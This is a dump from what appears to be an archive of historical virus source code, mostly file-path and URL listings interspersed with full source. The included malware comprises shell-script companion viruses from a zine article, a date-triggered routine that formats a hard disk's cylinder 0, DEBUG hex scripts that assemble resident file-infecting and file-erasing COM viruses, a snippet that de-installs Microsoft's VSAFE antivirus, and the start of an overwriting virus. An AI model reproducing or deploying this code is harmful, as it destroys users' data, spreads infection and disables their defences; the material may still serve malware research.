https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/typo.asm -------------------------------------------------------------------------------- /virus/u/ultimute.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/u/ultimute.asm -------------------------------------------------------------------------------- /virus/u/unevie.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/u/unevie.asm -------------------------------------------------------------------------------- /virus/u/unix.txt: -------------------------------------------------------------------------------- 1 | 2 | Lame Unix Viruses 3 | +---------------+ 4 | 5 | Well, you might have read the title to this article and thought, well 6 | if the damn thing is lame.. why the fuck is it in vlad#4 ?! This can 7 | be answered quite simply, we had one free space! :) It was a bit of 8 | a dilemma to begin with, we had four articles and one space. The problem 9 | was they were all kinda lame. So it was a lame pick of the month episode. 10 | 11 | Out of the four articles this was the leastest lamest. Well actually 12 | I don't know about that, but anyway it was the most different one we 13 | had sitting there. Just to prove the title, the author of these 14 | masterpieces asked to remain anonymous to save his reputation. 15 | 16 | These "viruses" are the equivalent of a DOS batch file infector because 17 | they are written in shell language. They function similarly to companion 18 | infectors by renaming the original file and replacing it with themselves. 19 | Disinfection is simple by 'mv'ing (moving) the original files back. 20 | 21 | Anyway, perhaps someone is interested so here they are. There isn't 22 | much use for them except to annoy your friends when it messes up all 23 | the files in their directory. 24 | 25 | +-----------------------------------+ 26 | #!/bin/sh 27 | # Dumb Unix Virus 28 | # I dont wanna write anutha dumb unix virus qark, i wont 29 | # Due to excess lameness, dont distribute 30 | # 31 | for files in * 32 | do 33 | if [ -x files ] 34 | then 35 | if [ ! -d files ] 36 | then 37 | mv files files.EVILVIRUS.HELPME 38 | cp $0 files 39 | chmod +x files 40 | files.EVILVIRUS.HELPME 41 | fi 42 | fi 43 | 44 | +-----------------------------------+ 45 | 46 | cat << _EOF >unix.virus 47 | 48 | 49 | #!/bin/csh 50 | # Dumber Unix Virus 51 | # by 52 | # SumUtherGuy 53 | foreach i (*) 54 | mv $i bak.$i 55 | cp $0 $i 56 | i >> $i 57 | 58 | end 59 | _EOF 60 | 61 | +-----------------------------------+ 62 | 63 | 64 | -------------------------------------------------------------------------------- /virus/u/ussr707.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/u/ussr707.asm -------------------------------------------------------------------------------- /virus/u/ussr711.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/u/ussr711.asm -------------------------------------------------------------------------------- /virus/u/utility.asm: -------------------------------------------------------------------------------- 1 | ;**************************************************************************** 2 | ;* 3 | ;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. * 4 | ;* * 5 | ;* USAGE: Is automatically INCLUDED in the assembly of casper.asm * 6 | ;* * 7 | ;* DETAILS: Date Activated Hard Disk Destroyer. * 8 | ;* DATE: 1st April DAMAGE: Formats Cylinder 0 of HD. * 9 | ;* * 10 | ;************************************************************************** 11 | 12 | 13 | 14 | 15 | 16 | mov ah,2ah ; DOS Get Date. 17 | int 21h 18 | cmp dx,0401h ; 5th May. 19 | jne utilend 20 | mov ax,0515h ;Format Cylinder, 15 Sectors. 21 | mov ch,0 ;Cylinder 0. 22 | mov dx,00 ;Head 0, Drive 80h. 23 | mov es,dx ;Junk for address marks. 24 | mov bx,0 ;Junk.... 25 | int 13h ;Do It! 26 | int 20h ;Exit 27 | utilend: jmp entry3 28 | db "Hi! I'm Casper The Virus, And On April The 1st I'm " 29 | db "Gonna Fuck Up Your Hard Disk REAL BAD! " 30 | db "In Fact It Might Just Be Impossible To Recover! " 31 | db "How's That Grab Ya! " 32 | entry3: 33 |  -------------------------------------------------------------------------------- /virus/v/v-1028.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v-1028.asm -------------------------------------------------------------------------------- /virus/v/v-1028.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v-1028.lst -------------------------------------------------------------------------------- /virus/v/v200.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v200.asm -------------------------------------------------------------------------------- /virus/v/v2100_.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v2100_.asm -------------------------------------------------------------------------------- /virus/v/v44.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v44.asm -------------------------------------------------------------------------------- /virus/v/v651.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v651.asm -------------------------------------------------------------------------------- /virus/v/v800.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v800.asm -------------------------------------------------------------------------------- /virus/v/v_582.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v_582.asm -------------------------------------------------------------------------------- /virus/v/v_822.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v_822.asm -------------------------------------------------------------------------------- /virus/v/v_822.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v_822.lst -------------------------------------------------------------------------------- /virus/v/v_violb4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/v_violb4.asm -------------------------------------------------------------------------------- /virus/v/vac_tp05.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vac_tp05.asm -------------------------------------------------------------------------------- /virus/v/vac_tp05.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vac_tp05.lst -------------------------------------------------------------------------------- /virus/v/vac_tp24.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vac_tp24.asm -------------------------------------------------------------------------------- /virus/v/vacsv.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vacsv.asm -------------------------------------------------------------------------------- /virus/v/vacsv.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vacsv.lst -------------------------------------------------------------------------------- /virus/v/vcl_john.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vcl_john.asm -------------------------------------------------------------------------------- /virus/v/vclmcyel.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vclmcyel.asm -------------------------------------------------------------------------------- /virus/v/vfsi-asm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vfsi-asm.asm -------------------------------------------------------------------------------- /virus/v/vi5.asm: -------------------------------------------------------------------------------- 1 | .286 2 | .model tiny 3 | .code 4 | org 100H 5 | start: ror si,1 6 | lodsb 7 | add si,ax 8 | mov [si],ah 9 | mov dx,82H 10 | mov ax,3D00H 11 | int 21H 12 | jc rt 13 | mov cx,40*200 14 | xchg bx,ax 15 | push 0A000H 16 | pop ds 17 | mov al,13 18 | int 10H 19 | mov si,10H 20 | m10: mov dx,03C4H 21 | mov al,2 22 | out dx,al 23 | xchg si,ax 24 | shr al,1 25 | inc dx 26 | out dx,al 27 | xchg si,ax 28 | mov ah,3FH 29 | cwd 30 | int 21H 31 | or ax,ax 32 | jnz m10 33 | int 16H 34 | rt: ret 35 | end start 36 | -------------------------------------------------------------------------------- /virus/v/viol-b4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/viol-b4.asm -------------------------------------------------------------------------------- /virus/v/violator.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/violator.asm -------------------------------------------------------------------------------- /virus/v/violb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/violb.asm -------------------------------------------------------------------------------- /virus/v/vip10.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vip10.asm -------------------------------------------------------------------------------- /virus/v/vir01.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir01.asm -------------------------------------------------------------------------------- /virus/v/vir02.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir02.asm -------------------------------------------------------------------------------- /virus/v/vir03.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir03.asm -------------------------------------------------------------------------------- /virus/v/vir04.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir04.asm -------------------------------------------------------------------------------- /virus/v/vir05.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir05.asm -------------------------------------------------------------------------------- /virus/v/vir06.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir06.pas -------------------------------------------------------------------------------- /virus/v/vir08.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir08.asm -------------------------------------------------------------------------------- /virus/v/vir09.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir09.asm -------------------------------------------------------------------------------- /virus/v/vir1.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir1.rar -------------------------------------------------------------------------------- /virus/v/vir10.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir10.asm -------------------------------------------------------------------------------- /virus/v/vir11.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir11.pas -------------------------------------------------------------------------------- /virus/v/vir12.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir12.asm -------------------------------------------------------------------------------- /virus/v/vir13.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir13.asm -------------------------------------------------------------------------------- /virus/v/vir14.bas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir14.bas -------------------------------------------------------------------------------- /virus/v/vir15.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir15.asm -------------------------------------------------------------------------------- /virus/v/vir16.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir16.asm -------------------------------------------------------------------------------- /virus/v/vir17.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir17.asm -------------------------------------------------------------------------------- /virus/v/vir18.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir18.asm -------------------------------------------------------------------------------- /virus/v/vir19.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir19.asm -------------------------------------------------------------------------------- /virus/v/vir20.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir20.asm -------------------------------------------------------------------------------- /virus/v/vir21.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir21.asm -------------------------------------------------------------------------------- /virus/v/vir22.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir22.asm -------------------------------------------------------------------------------- /virus/v/vir23.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir23.asm -------------------------------------------------------------------------------- /virus/v/vir24.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir24.asm -------------------------------------------------------------------------------- /virus/v/vir25.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir25.asm -------------------------------------------------------------------------------- /virus/v/vir26.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir26.asm -------------------------------------------------------------------------------- /virus/v/vir27.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir27.asm -------------------------------------------------------------------------------- /virus/v/vir28.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir28.asm -------------------------------------------------------------------------------- /virus/v/vir29.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir29.pas -------------------------------------------------------------------------------- /virus/v/vir30.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir30.asm -------------------------------------------------------------------------------- /virus/v/vir31.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir31.asm -------------------------------------------------------------------------------- /virus/v/vir32.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir32.asm -------------------------------------------------------------------------------- /virus/v/vir33.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir33.asm -------------------------------------------------------------------------------- /virus/v/vir34.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir34.asm -------------------------------------------------------------------------------- /virus/v/vir35.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir35.asm -------------------------------------------------------------------------------- /virus/v/vir36.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir36.asm -------------------------------------------------------------------------------- /virus/v/vir37.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir37.asm -------------------------------------------------------------------------------- /virus/v/vir38.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir38.asm -------------------------------------------------------------------------------- /virus/v/vir39.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir39.asm -------------------------------------------------------------------------------- /virus/v/vir40.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir40.asm -------------------------------------------------------------------------------- /virus/v/vir41.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir41.pas -------------------------------------------------------------------------------- /virus/v/vir42.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir42.asm -------------------------------------------------------------------------------- /virus/v/vir43.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir43.asm -------------------------------------------------------------------------------- /virus/v/vir44.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir44.asm -------------------------------------------------------------------------------- /virus/v/vir45.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir45.asm -------------------------------------------------------------------------------- /virus/v/vir46.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir46.asm -------------------------------------------------------------------------------- /virus/v/vir47.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir47.asm -------------------------------------------------------------------------------- /virus/v/vir48.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir48.c -------------------------------------------------------------------------------- /virus/v/vir49.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir49.asm -------------------------------------------------------------------------------- /virus/v/vir50.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir50.asm -------------------------------------------------------------------------------- /virus/v/vir51.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir51.asm -------------------------------------------------------------------------------- /virus/v/vir52.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir52.asm -------------------------------------------------------------------------------- /virus/v/vir53.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir53.asm -------------------------------------------------------------------------------- /virus/v/vir54.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir54.asm -------------------------------------------------------------------------------- /virus/v/vir55.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir55.asm -------------------------------------------------------------------------------- /virus/v/vir56.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir56.asm -------------------------------------------------------------------------------- /virus/v/vir57.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir57.asm -------------------------------------------------------------------------------- /virus/v/vir58.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir58.lst -------------------------------------------------------------------------------- /virus/v/vir61.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir61.asm -------------------------------------------------------------------------------- /virus/v/vir62.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir62.asm -------------------------------------------------------------------------------- /virus/v/vir63.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir63.asm -------------------------------------------------------------------------------- /virus/v/vir64.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vir64.asm -------------------------------------------------------------------------------- /virus/v/virdem.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/virdem.asm -------------------------------------------------------------------------------- /virus/v/virus.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/virus.asm -------------------------------------------------------------------------------- /virus/v/virus.ba~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/virus.ba~ -------------------------------------------------------------------------------- /virus/v/virusa.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/virusa.asm -------------------------------------------------------------------------------- /virus/v/voronezh.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/voronezh.asm -------------------------------------------------------------------------------- /virus/v/vote.scr: -------------------------------------------------------------------------------- 1 | N VOTE.COM 2 | E 0100 E8 4A 01 3D 03 00 75 11 E8 4A 01 3D 0B 00 75 09 3 | E 0110 BA 4C 01 B4 09 CD 21 EB F7 B8 44 00 90 8E C0 90 4 | E 0120 BF 00 01 8B F7 B9 5D 01 F3 A4 8E D9 BE 84 00 BF 5 | E 0130 5D 02 BA 6A 01 AD 3B C2 74 09 AB A5 06 1F B8 21 6 | E 0140 25 CD 21 C3 45 58 45 00 43 4F 4D 00 44 49 44 20 7 | E 0150 59 4F 55 20 56 4F 54 45 2C 20 53 48 49 54 48 45 8 | E 0160 41 44 3F 3F 07 07 24 B0 03 CF 9C 06 1E 50 53 52 9 | E 0170 3D 00 4B 75 03 E8 0B 00 5A 5B 58 1F 07 9D 2E FF 10 | E 0180 2E 5D 02 FC 2E 89 16 61 02 2E 8C 1E 63 02 B4 2F 11 | E 0190 CD 21 06 53 0E 1F BA 65 02 B4 1A CD 21 E8 8B 00 12 | E 01A0 57 BE 48 01 B9 03 00 F3 A6 5F 74 60 BE 44 01 90 13 | E 01B0 B1 03 F3 A6 75 4F BE 48 01 90 E8 7D 00 B8 00 33 14 | E 01C0 90 CD 21 52 99 40 50 CD 21 B8 24 35 CD 21 53 06 15 | E 01D0 0E 1F BA 67 01 B4 25 50 CD 21 C5 16 61 02 B4 3C 16 | E 01E0 B9 27 00 CD 21 93 0E 1F B9 5D 01 BA 00 01 B4 40 17 | E 01F0 CD 21 B4 3E CD 21 58 1F 5A CD 21 58 5A CD 21 BE 18 | E 0200 44 01 E8 35 00 B4 1A 5A 1F CD 21 C3 E8 33 00 2E 19 | E 0210 81 3E 7F 02 5D 01 75 ED BE 44 01 E8 1C 00 E8 21 20 | E 0220 00 73 E2 BE 48 01 E8 11 00 EB DA 2E C4 3E 61 02 21 | E 0230 B5 FF B0 00 F2 AE 83 EF 04 C3 E8 EE FF 0E 1F A5 22 | E 0240 A5 C3 C5 16 61 02 B1 27 B4 4E CD 21 C3 B4 2A CD 23 | E 0250 21 8A C2 98 C3 B4 2A CD 21 8A C6 98 C3 24 | RCX 25 | 015D 26 | W 27 | Q 28 | -------------------------------------------------------------------------------- /virus/v/voterase.scr: -------------------------------------------------------------------------------- 1 | N VOTERASE.COM 2 | E 0100 E8 56 01 3D 03 00 75 34 E8 56 01 3D 0B 00 75 2C 3 | E 0110 BA 6F 01 B4 4E B9 27 00 CD 21 72 1B B4 2F CD 21 4 | E 0120 8D 57 1E B4 41 CD 21 B4 3C 33 C9 CD 21 B4 41 CD 5 | E 0130 21 B4 4F CD 21 73 EC B8 00 4C CD 21 B8 44 00 90 6 | E 0140 8E C0 90 BF 00 01 8B F7 B9 69 01 F3 A4 8E D9 BE 7 | E 0150 84 00 BF 69 02 BA 76 01 AD 3B C2 74 09 AB A5 06 8 | E 0160 1F B8 21 25 CD 21 C3 45 58 45 00 43 4F 4D 00 2A 9 | E 0170 2E 2A 00 B0 03 CF 9C 06 1E 50 53 52 3D 00 4B 75 10 | E 0180 03 E8 0B 00 5A 5B 58 1F 07 9D 2E FF 2E 69 02 FC 11 | E 0190 2E 89 16 6D 02 2E 8C 1E 6F 02 B4 2F CD 21 06 53 12 | E 01A0 0E 1F BA 71 02 B4 1A CD 21 E8 8B 00 57 BE 6B 01 13 | E 01B0 B9 03 00 F3 A6 5F 74 60 BE 67 01 90 B1 03 F3 A6 14 | E 01C0 75 4F BE 6B 01 90 E8 7D 00 B8 00 33 90 CD 21 52 15 | E 01D0 99 40 50 CD 21 B8 24 35 CD 21 53 06 0E 1F BA 73 16 | E 01E0 01 B4 25 50 CD 21 C5 16 6D 02 B4 3C B9 27 00 CD 17 | E 01F0 21 93 0E 1F B9 69 01 BA 00 01 B4 40 CD 21 B4 3E 18 | E 0200 CD 21 58 1F 5A CD 21 58 5A CD 21 BE 67 01 E8 35 19 | E 0210 00 B4 1A 5A 1F CD 21 C3 E8 33 00 2E 81 3E 8B 02 20 | E 0220 69 01 75 ED BE 67 01 E8 1C 00 E8 21 00 73 E2 BE 21 | E 0230 6B 01 E8 11 00 EB DA 2E C4 3E 6D 02 B5 FF B0 00 22 | E 0240 F2 AE 83 EF 04 C3 E8 EE FF 0E 1F A5 A5 C3 C5 16 23 | E 0250 6D 02 B1 27 B4 4E CD 21 C3 B4 2A CD 21 8A C2 98 24 | E 0260 C3 B4 2A CD 21 8A C6 98 C3 25 | RCX 26 | 0169 27 | W 28 | Q 29 | -------------------------------------------------------------------------------- /virus/v/vslay.asm: -------------------------------------------------------------------------------- 1 | ;VSLAY - simple de-install Microsoft Antivirus VSAFE 2 | ;demonstration code for Crypt Newsletter 16 3 | 4 | code segment 5 | assume cs:code, ds:code, es:code, ss:nothing 6 | 7 | org 100h 8 | 9 | begin: call vslay 10 | 11 | 12 | vslay: 13 | mov ax,64001 ;wakes up VSAFE to keyboard input 14 | mov dx,5945h ;asks VSAFE to de-install 15 | int 16h ;calls VSAFE-hooked interrupt: keyboard 16 | ret ;exit 17 | 18 | code ends 19 | end begin 20 | -------------------------------------------------------------------------------- /virus/v/vsource.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vsource.asm -------------------------------------------------------------------------------- /virus/v/vx1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/v/vx1.asm -------------------------------------------------------------------------------- /virus/w/wanderer.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/w/wanderer.asm -------------------------------------------------------------------------------- /virus/w/wasmvir.asm: -------------------------------------------------------------------------------- 1 | ;WASMVir --> A lame overwriting virus to demonstrate WASM 2 | ;Overwrites all files in the current directory 3 | ;By Lord Natas 4 | 5 | org 100h 6 | 7 | Start 8 | mov ah,4eh 9 | mov cx,7 10 | mov dx,offset FileSpec 11 | Virus 12 | 13 | ;----- 